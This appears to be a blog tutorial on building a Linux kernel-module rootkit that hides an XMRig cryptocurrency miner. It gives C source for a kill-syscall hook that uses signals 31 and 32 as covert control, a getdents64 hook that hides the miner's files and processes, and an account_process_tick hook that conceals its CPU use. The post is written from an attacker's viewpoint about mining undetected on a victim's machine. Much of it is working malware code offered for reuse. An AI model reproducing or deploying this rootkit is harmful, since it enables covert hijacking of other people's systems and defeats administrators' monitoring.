For the past months, I have been digging and learning how Linux Kernel does work. And what I have learned can be used for good or evil. In this post, I'm going to demonstrate how a malicious actor can leverage a Linux Loadable Kernel Module to make a cryptocurrency miner invisible in the userland.
For this demonstration, I'm going to use XMRig, a high-performance, open source, and very popular crypto miner, to mine Monero coin using the CPU intensive RandomX mining algorithm.
Here's a screenshot of what happens when you run a crypto miner:
Using htop process viewer, we can see that our crypto miner's process CPU usage is extremely high, and it's using all available CPUs for mining. Now, if you're the system administrator of this machine, how much time would it take you to detect it and kill that process? seconds, right? ;-)
To understand how we will hide the crypto miner before, we must know what happens under the hood when we execute htop
, top
or any other Linux program to monitor current system running processes.
top
program under the hood
As you probably know, if you're a Linux user, the top command provides a dynamic real-time view of a running system. It allows us to know the processes running at the moment.
So, what happens when we execute top
in our terminal? to figure it out, we can use strace Linux command to
intercept the system calls so we can deeply understand what top
is doing.
A system call is a programmatic way a program can request a service from the kernel space, and strace
is a powerful utility that allows us to trace the thin layer between user processes and the Linux kernel.
Let's figure out which system calls are top
program calling by using strace
:
root@vm-ubuntu2004:~# strace -c top -h
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
40.81 0.000484 7 61 rt_sigaction
13.32 0.000158 2 68 40 openat
10.12 0.000120 40 3 write
9.78 0.000116 4 27 read
5.99 0.000071 2 30 close
4.72 0.000056 2 27 fstat
4.22 0.000050 12 4 getdents64
3.79 0.000045 22 2 rt_sigprocmask
2.28 0.000027 1 18 mprotect
2.02 0.000024 8 3 munmap
1.69 0.000020 10 2 2 mkdir
0.76 0.000009 9 1 sched_getaffinity
0.51 0.000006 6 1 getuid
0.00 0.000000 0 32 28 stat
0.00 0.000000 0 60 mmap
0.00 0.000000 0 3 brk
0.00 0.000000 0 8 pread64
0.00 0.000000 0 1 1 access
0.00 0.000000 0 1 execve
0.00 0.000000 0 2 1 arch_prctl
0.00 0.000000 0 1 futex
0.00 0.000000 0 1 set_tid_address
0.00 0.000000 0 1 set_robust_list
0.00 0.000000 0 1 prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00 0.001186 358 72 total
Interesting! Now we know all system calls that top
is calling, which gives us a lot of information about how top
works.
Let's continue to the next section, and we'll know what we can do with this info later.
Hooking Linux system calls
Most Linux programs do system calls to the kernel space, so if we can intercept and modify them, then the Linux programs that depend on them would be affected too.
So, how can we hook Linux system calls? For this demonstration, I decided to use Linux Kernel hooking engine (x86) by Ilya V. Matveychikov. There are more alternatives to do the hooks, but I found this hooking engine pretty good, and plus, it allows us to hook generic kernel functions aside from hook kernel system calls.
Using the Linux Syscall Reference (64 bit) table, we can check out all available Linux system calls that we could hook into it if we would like to.
Building a Rootkit to make our crypto miner invisible
Let's get started! we are going to build a malicious Linux LKM (Loadable Kernel Module) that will hook some system calls and kernel functions to hide our miner so we can make sure that it stays under the radar and we can mine in the victim machine for a long time!
Our rootkit will be coded using C programming language.
It only works on x86
architectures and should be compatible with 2.6.33+
kernels.
Hiding miner from processes list and filesystem
To hide our mine process from processes monitoring programs, we must know how this type of program generates its processes list from.
So, how do they do it? Easy! in Linux, the /proc
directory stores numerical named directories representing all running processes. When a process ends, its /proc
directory disappears automatically.
Now that we know how processes are managed and by analyzing top
used system calls (from strace
output above generated), we can
confirm that top
is using getdents64 system call to read processes from the /proc
directory.
We also want to hide our miner's executable file in the filesystem to avoid having it removed from the system. To achieve this, we want to make sure that when someone executes the ls command to list directory contents, our miner's executable file doesn't appear.
ls
command also calls the getdents64
system call, so it's great for us because all we need is to hook one system call and add a bit of logic code to develop 2/3 of our
Rootkit required features (hide from the processes list and hide miner's file from the filesystem).
Hiding miner CPU usage
Hiding miner CPU usage is critical if we want our miner to survive for a longer time.
We can hide miner CPU usage by hooking kernel function account_process_tick. By doing so, we can skip the ticks for our miner's process. Our CPU usage could not be accounted for and would be equal to zero.
Hooking kill
system calls for Command and Control (C2)
How can we communicate between our rootkit that is in kernel space and us that we are in userland? we'll need somehow to tell the Rootkit which process ID (pid
) we want to
hide.
One solution to this issue would be to hook kill system call. kill
system call is used
to send any signal to any process group or process. For example, you can execute kill -9 <pid>
to send a SIGKILL
signal to a process to cause it to terminate immediately.
The following is the prototype of the kill
system call:
int kill(pid_t pid, int sig);
It takes two arguments. The first, pid
is the process ID you want to send a signal to, and the second, sig
is the signal you want to send.
In our kill
hook, we will use unused sig
number 31
to make the target process pid
invisible and sig
number 32
to make it visible again.
Rootkit source code preview
In this section, I'll show you only the most important parts of the Rootkit source code. For simplicity, I'll ignore things like cross-kernel version compatibility, LKM initialization (module_init
), LKM exit (module_exit
), and Linux Kernel hooking engine (x86)
usage.
You can always view the complete Rootkit source code at GitHub to understand the big picture.
Hooking kill
system calls for C2:
We define in the header file PF_INVISIBLE
(invisible process flag value), SIGINVIS
(kill
signal number to make a process invisible), and SIGVIS
(kill
signal number to make a process visible):
#define PF_INVISIBLE 0x10000000
enum {
SIGINVIS = 31,
SIGVIS = 32,
};
We declare functions find_task
(iterates through the list of all the processes to find provided pid
), is_invisible
(checks if a process pid
is invisible by checking if it has a PF_INVISIBLE
flag)
and hacked_kill
(hooks original kill
system call and handles our custom signal numbers SIGINVIS
and SIGVIS
):
struct task_struct * find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
int is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
asmlinkage int hacked_kill(pid_t pid, int sig)
{
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL || is_invisible(pid) == true)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
printk(KERN_INFO "rootkit: process invisible >:-)\n");
break;
case SIGVIS:
if ((task = find_task(pid)) == NULL || is_invisible(pid) == false)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
printk(KERN_INFO "rootkit: process visible :-(\n");
break;
default:
return orig_kill(pid, sig);
}
return 0;
}
Hooking getdents64
system call to hide processes and files from the filesystem:
In the header file, we declare the MAGIC_PREFIX
value that we'll use to hide all files in the filesystem whose filename starts this prefix.
#define MAGIC_PREFIX "xmrig"
We declare function hacked_getdents64
to hook getdents64
system call. As you can see, if a directory name, filename starts with the MAGIC_PREFIX
we skip it. If it's a process instead, then we check if it's invisible by using the function is_invisible
and if it's, then we skip it too:
asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
Hooking account_process_tick
kernel function to hide CPU usage:
We declare function khook_account_process_tick
to hook kernel function account_process_tick
and we skip the tick
for invisible processes by checking
if tsk->flags
contains PF_INVISIBLE
flag value:
KHOOK(account_process_tick);
static void khook_account_process_tick(struct task_struct *tsk, int user)
{
if (tsk->flags & PF_INVISIBLE) {
return;
}
return KHOOK_ORIGIN(account_process_tick, tsk, user);
}
Final result
Miner process and CPU usage are hidden:
Demo
Quick live demo showing how it works:
Thanks
Huge thanks to Harvey Phillips for his series of blog posts on rootkit techniques and Ilya V. Matveychikov for his Linux Kernel hooking engine used in this demonstration.